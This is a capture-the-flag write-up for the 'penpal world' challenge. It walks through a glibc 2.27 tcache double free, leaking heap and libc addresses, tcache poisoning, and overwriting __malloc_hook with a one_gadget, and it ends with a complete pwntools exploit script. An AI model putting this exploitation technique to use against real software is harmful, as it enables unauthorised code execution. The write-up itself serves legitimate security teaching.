penpal world
Description:
436Written by: jespiron
Please don’t decimate this cute lil ish; write your grandmother a smol parcel of love instead~
nc chall2.2019.redpwn.net 4010
penpal_world
libc-2.27.so
Introduction
From the challenge is provided its binary and libc.
Lets first extract some information:
1 | $ file penpal_world |
With file command we now know:
- ELF compiled for x86_x64 architecture.
- Dynamically linked.
- Not stripped.
Let’s check the enabled protections with checksec:
1 | $ checksec penpal_world |
Protections:
- FULL RELRO (GOT entries are read only we can’t overwrite them)
- STACK CANARY (The stack is protected with the canary if there is a stack overflow we need to find a way to leak it)
- The Stack is not executable (We can’t execute shellcode techniques like ROP can bypass this)
- PIE (Position Independent Executable) is on (If we want to use rop we need a way to leak the base address)
Running the binary
Lets first run the binary to see how it works
We are presented with a menu where we can create,edit,discard and read a postcard:1
2
3
4
5
6$ ./penpal_world
OPTIONS
1) Create a postcard
2) Edit a postcard
3) Discard a postcard
4) Read a postcard
Analysing the binary for a vulnerability
Using ida to check on the main loop:
Lets check create_card:
edit_card time:
The vulnerability is in discard_card:
display function doesn’t have anything special it does control the indexes and you can print the cards as well.
Exploit
First we need to check which libc version is used on the server, since we are provided with the libc file from the challenge, we know that it’s using libc-2.27 since version 2.26 it implements the tcache concept that is used to cache free chunks in the heap before adding them to the libc freelist.
Now all heap chunks of size < 0x410 are treated as tcache chunks. When freed they go into their respective tcache bins.
The good thing about this unlike normal chunks and luckly in this libc version there is no security checks making it easier to exploit. Thus we can double free and malloc without any size checks.
The exploit plan is the following one:
- Leak the heap address by reading the fd pointer after freeing;
- Find a way to overwrite the size of a chunk to 0x91 (so when we free it it goes to unsorted bin instead);
- Fill the tcache unsorted tcache bin list (max 7);
- After tcache unsorted bin is full the next free will put into a normal unsorted bin with that we can leak libc;
- Tricking malloc() into returning the address of __malloc_hook ;
- Overwrite __malloc_hook with the address of a one gadget ;
- Trigger the hook using malloc()!
Setting up the environment for pwn ctf challenges
Now there is a small problem, if you want to debug the binary with the right libc version you either find the right linux docker container that uses that version that libc as default or you LD_PRELOAD it, to do it you need to compile that specific version.
for example to do this manually:
1 | cp /glibc/2.27/64/lib/ld-2.27.so /tmp/ld-2.27.so |
Or using pwntools
1 | from pwn import * |
Luckily someone did the dirty work for us, this docker container contains multiple compiled libcs and also the default libc coming with the system is libc-2.27.so the one we need.
The github link: https://github.com/skysider/pwndocker
The docker hub link: https://hub.docker.com/r/skysider/pwndocker
I don’t recommend going with the LD_PRELOAD way, sure you can debug it with the right version but remember this, some offsets when leaking libc will be different from the server ones because you’re preloading it with the ld.so, if you choose to go this way remember to adapt those offsets to the right ones.
Leak heap address
This the structure of of a chunk:1
2
3
4
5
6
7
8
9
10
11
12+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ <-- Chunk start
| PREV_SIZE OR USER DATA |
+---------------------------------+-+-+-+
| CHUNK SIZE |A|M|P|
+---------------------------------+-+-+-+
| FORWARD POINTER(FD) | <-- All freechunks
| BACK POINTER(BK) | <-- normalchunk or larger
| NEXT BIGGER POINTER (fd_nextsize) | <-- Only if largechunk
| PREVIOUS SMALLER PTR(bk_nextsize) | <-- Only if largechunk
| - - - - - - - - - - - - - | <-- End of this chunk.
| PREV_SIZE |
+---------------------------------------+
The mallocs we can do are limited to 0x48 size, which is within tcache fast bin range. Since it’s a tcache bin freed items will be kept in a single-linked list. When the first fastchunk is free()‘d, it sets its FD pointer to NULL because there wasn’t any freed item yet, if we free a second item the FD pointer will be set to the previous chunk freed, by using UAF vulnerability we can print this pointer thus leaking it’s heap address, let’s start by writing our python script to do this.
Some introductory stuff we can add I’m using pwntools which is a very handy framework for pwn you can find it at https://github.com/Gallopsled/pwntools
1 | from pwn import * |
Since PIE is enabled we need to get its base address, to debug it in gdb we can use this function to do it:
1 | def get_PIE(proc): |
If you’re LD_PRELOAD the libc version you need to change the index of memory_map to 5:
1 | def get_PIE(proc): |
If you’re using gdb.attach from pwntools and you’re inside a docker container remember it won’t detect the terminal to open the specific gdb window, we can use tmux for example but we need to specified it by doing this:
1 | context.terminal = ['tmux', 'new-window'] |
Open two windows logged in the docker container, the 1st one run your script and on the 2nd one open tmux, when running the script gdb will automaticity open with the specified breakpoints we set in the debug list:
Now that we can debug and open gdb in a very easy way it’s time to write the functions to add,free,edit and print:
1 | def add(index): |
To leak an address we can for example allocate a chunk and then double free it, we then proceed to read its fd pointer which will point to the first freed chunk, this chunks will be inserted into a tcache bin due to its size of 0x48.
Lets put a breakpoint on free and look how the first chunk looks like before free it the first time:1
2
3
4
5
6add(0)
edit(0, 'A'*0x30 + p64(0x0)+ p64(0x51))
free(0)
free(0) # DOUBLE FREE (no security checks while in tcache at this libc version)
read(0) # LEAK HEAP
r.interactive()
Gdb output:
Now let’s take a look after the 1st free:
Lets check how tcache fast bin list is looking by using tcachebins on pwngdb:
After 2nd free (Double free)
Lets check again how tcache bin list is looking by using tcachebins on pwngdb:
Now if we read the card at index 0 we will get a heap leak!
1 | add(0) |
Results:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16$ python test.py
[*] '/ctf/work/pwn/pepal_world/penpal_world'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './penpal_world': pid 2596
[*] 0x55d9117e3200
[*] Stopped process './penpal_world' (pid 2596)
LEAKING LIBC
We can only do mallocs of size 0x48, we somehow need to overwrite the size of one chunk because fastbin chunk sizes will only get us heap addresses, in order to leak a libc address we need a unsorted bin chunk size for example 0x91 will do it.
Perhaps since this version of libc uses tcache, at every chunk bellow 0x410 are treated as it was a fastbin chunk even if we free a 0x91 chunk we will not get a libc address, luckily there is a limit to the tcache which is 7 we need to fill a tcache bin of size 0x91, we can do it by freeing that chunk 7 times the 8th time will be treated as an unsorted bin updating both fd and bk pointers into libc addresses.
But to overwrite the size of a chunk we need to use the tcache poisoning attack you can find an example here.
In the end we want malloc to return an arbitrary address where we can start writing stuff into an address that is able to overwrite the size of 0x51 to 0x91, when malloc executes it will try to find a chunk in the tcache bin of that size so it can reuse the same space in memory from previous freed chunks, if we modify the fd pointer with UAF, malloc will instead return the pointer we modified getting us an arbitrary write.
First we need to find a cool address we can write to, we already leaked a heap address, we just need to find the offset near the 0x51 size, we can do it with this:
The code to overwrite the size would look like this:1
2
3
4
5
6
7
8
9
10
11
12
13add(0)
edit(0, 'A'*0x30 + p64(0x0)+ p64(0x51))
free(0)
free(0) # DOUBLE FREE (no security checks while in tcache at this libc version)
read(0) # LEAK HEAP
heap = u64(r.recv(6).ljust(8, '\x00'))-0x60
edit(0,p64(heap+0x90)) # change the fd pointer to get arbitrary write with malloc
add(0) # MALLOC RETURNS heap+0x60 tchachebin(0x50): heap+0x60 -> heap+0x90 <- 0x0
add(1) # MALLOC RETURNS heap+0x90 tchachebin(0x50): heap+0x90 <- 0x0
add(0) # NEW ALLOCATION (NO MEMORY REUSE) ALLOCATE CHUNK B and prevent merge with top chunk
edit(0, 'B'*0x30 + p64(0x0)+ p64(0x51))
free(0)
edit(1,p64(0)+p64(0x91)+p64(0)+p64(0x91)) # OVERWRITES THE SIZE OF CHUNK 'B'
After changing the FD with edit we need to do two mallocs until we get the right pointer, because on the first two frees the single linked list of the tcache chunks(0x50) is like this:
1 | heap+0x60 -> heap+0x60 <- 0x0 |
After editing the FD with heap+0x90 we get this:
1 | heap+0x60 -> heap+0x90 <- 0x0 |
The list after the first malloc:1
heap+0x90 <- 0x0
The list after the second malloc:1
0x0 (empty)
The next step is to fill tcache bin (0x90) remember the max is 7 so we need to free 7 times.
Also we need to add 2 new chunks and create two fake chunks in the end to bypass the security check from int_free, since it isn’t a tcache bin we need to worry about that.
The size field of the next chunk should correspond to the size that has overwritten the size of chunk B and with a valid size with its flag prev_in_use set to 1.
The lowest bit of size is the prev_in_use flag, 0x51 represented in binary is 01010001, the lowest bit is set to one.
PREV_INUSE, records whether the previous chunk is allocated. In general, the P bit of the size field of the first allocated memory block in the heap is set to 1 to prevent access to the previous illegal memory. When the P bit of the size of a chunk is 0, we can get the size and address of the previous chunk through the prev_size field.
The Chunk C is for this security check https://github.com/lunaczp/glibc-2.27/blob/master/malloc/malloc.c#L4280
The Chunk D is to prevent going into unlink at https://github.com/lunaczp/glibc-2.27/blob/master/malloc/malloc.c#L4303 :
if we set nextinuse into 1 we won’t get an error at https://github.com/lunaczp/glibc-2.27/blob/master/malloc/malloc.c#L1405 because we don’t even enter at unlink
One final thing, we already knew that we needed to set a fake chunk at chunk C with prev_in_use to 1 but why the size of 0x50 ? as you can see the function that calculates the offset to the prev_in_use of the fake chunk at chunk D uses function inuse_bit_at_offset which uses the size of previous 0x50(variable s) to find chunks D prev_in_use.
1 | add(1) |
Lets see how this looks in GDB, this is the look of tcache bins(0x90) after the 7 frees:
Now the 8th free which is the unsorted bin:
Overwrite __malloc_hook with the address of a one gadget
Malloc hook executes with malloc (it’s used for debugging) initially is set to 0x0 , using TCACHE POISONING we can overwrite its address with the address of onegadget. Getting a free shell after triggering malloc.
Getting the onegadget offset using https://github.com/david942j/one_gadget
1 | one_gadget libc-2.27.so |
The offset that works with the restriction is 0x10a38c.
Making malloc to return the address of __malloc_hook and overwriting it with onegadget:
1 | LIBC_BASE = l-0x3ebca0 |
The full exploit:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109from pwn import *
host, port = "chall2.2019.redpwn.net", "4010"
filename = "./penpal_world"
elf = ELF(filename)
context.arch = 'amd64'
#libc = ELF('/glibc/2.27/64/lib/libc.so.6')
if not args.REMOTE:
libc = elf.libc#ELF('/glibc/2.27/64/lib/libc-2.27.so')
else:
libc = ELF('./libc-2.27.so')
#rop=ROP([libc])
def getConn():
return process(filename) if not args.REMOTE else remote(host, port)
def get_PIE(proc):
memory_map = open("/proc/{}/maps".format(proc.pid),"rb").readlines()
return int(memory_map[0].split("-")[0],16)
def debug(bp):
#bp = [0xea0,0xd31,0xc52]
#bp = [0x00000dfb,0x00000b7c,0x00000d10]
script = ""
PIE = get_PIE(r)
PAPA = PIE
for x in bp:
script += "b *0x%x\n"%(PIE+x)
gdb.attach(r,gdbscript=script)
def add(index):
r.sendlineafter('4) Read a postcard\n',str(1))
r.sendlineafter('Which envelope #?\n', str(index))
#r.sendlineafter()
def edit(index, content):
r.sendlineafter('4) Read a postcard\n',str(2))
r.sendlineafter('Which envelope #?\n', str(index))
r.sendafter('Write.\n', content)
def free(index):
r.sendlineafter('4) Read a postcard\n',str(3))
r.sendlineafter('Which envelope #?\n', str(index))
#r.recvuntil('Command me: ')
def read(index):
r.sendlineafter('4) Read a postcard\n',str(4))
r.sendlineafter('Which envelope #?\n', str(index))
context.terminal = ['tmux', 'new-window']
r = getConn()
if not args.REMOTE and args.GDB:
debug([0xb11,0x9b3])#0xb11,0x9b3]) #0x9b3 0xB11 0xa7c
####################################### LEAK FUCKING LIBC
add(0)
edit(0, 'A'*0x30 + p64(0x0)+ p64(0x51))
free(0)
free(0) # DOUBLE FREE (no security checks while in tcache at this libc version)
read(0) # LEAK HEAP
heap = u64(r.recv(6).ljust(8, '\x00'))-0x60
log.info('0x%x'%heap)
log.info('0x%x'%(heap+0x100))
edit(0,p64(heap+0x90)) # change the fd pointer to get arbitrary write with malloc
add(0) # MALLOC RETURNS heap+0x60 tchachebin(0x50): heap+0x60 -> heap+0x90 <- 0x0
add(1) # MALLOC RETURNS heap+0x90 tchachebin(0x50): heap+0x90 <- 0x0
add(0) # NEW ALLOCATION (NO MEMORY REUSE) THIS ONE IS DONE HERE TO PREVENT MERGE WITH TOP CHUNK
edit(0, 'B'*0x30 + p64(0x0)+ p64(0x51))
edit(1,p64(0)+p64(0x91)+p64(0)+p64(0x91)) # OVERWRITES THE SIZE OF CHUNK 'B'
add(1) # TO PREVENT FREE ERRORS WHEN FREEING AN UNSORTED BIN
edit(1,('C'*0x30 +p64(0x0)+p64(0x51)))
add(1) # TO PREVENT FREE ERRORS WHEN FREEING AN UNSORTED BIN
edit(1, ('D'*0x30+p64(0x0)+p64(0x51)))
for i in range(7): # Filling tcachebin
free(0)
free(0) # free unsortedbin
read(0) # LEAK LIBC
l = u64(r.recv(6).ljust(8,'\x00'))
#log.info(hex(rop.search(regs=['rdi'], order = 'regs').address))
LIBC_BASE = l-0x3ebca0
MALLOC_HOOK = LIBC_BASE+libc.symbols['__malloc_hook']
FREE_HOOK = LIBC_BASE+libc.symbols['__free_hook']
SYSTEM = LIBC_BASE+ libc.symbols['system']
BINSH = LIBC_BASE+ libc.search('/bin/sh').next()
ONE_GADGET = LIBC_BASE+0x10a38c
POPRDI = LIBC_BASE+0x2155f # pop rdi ; ret
log.info("MAIN ARENA+0x96 0x%x"%l)
log.info("LIBCBASE 0x%x"%LIBC_BASE)
log.info("ONEGADGET 0x%x"%ONE_GADGET)
log.info("MALLOC HOOK 0x%x"%MALLOC_HOOK)
log.info("FREE HOOK 0x%x"%FREE_HOOK)
log.info("SYSTEM 0x%x"%SYSTEM)
log.info("BIN_SH 0x%x"%BINSH)
log.info("POP RDI 0x%x"%POPRDI)
log.info("JUMP 0x%x"%(heap+0x150))#0x1d8b6b0))
log.info("HEAP 0x%x"%(heap)) #24
log.info("NEXT HEAP 0x%x"%(heap+0x130))
#########################################################
################################### OVERWRITE MALLOC_HOOK
free(1)
edit(1,p64(MALLOC_HOOK)) # change the address of FD to MALLOC_HOOK
add(0)
add(0) # returns the address of malloc_hook
edit(0,p64(ONE_GADGET)) # Overwrites content of malloc_hook to ONE_GADGET
add(0) # trigers malloc hook
#########################################################
r.interactive()
Running it
1 | $ root@redpwn:/ctf/work/pwn/pepal_world# python penpal_world.py REMOTE |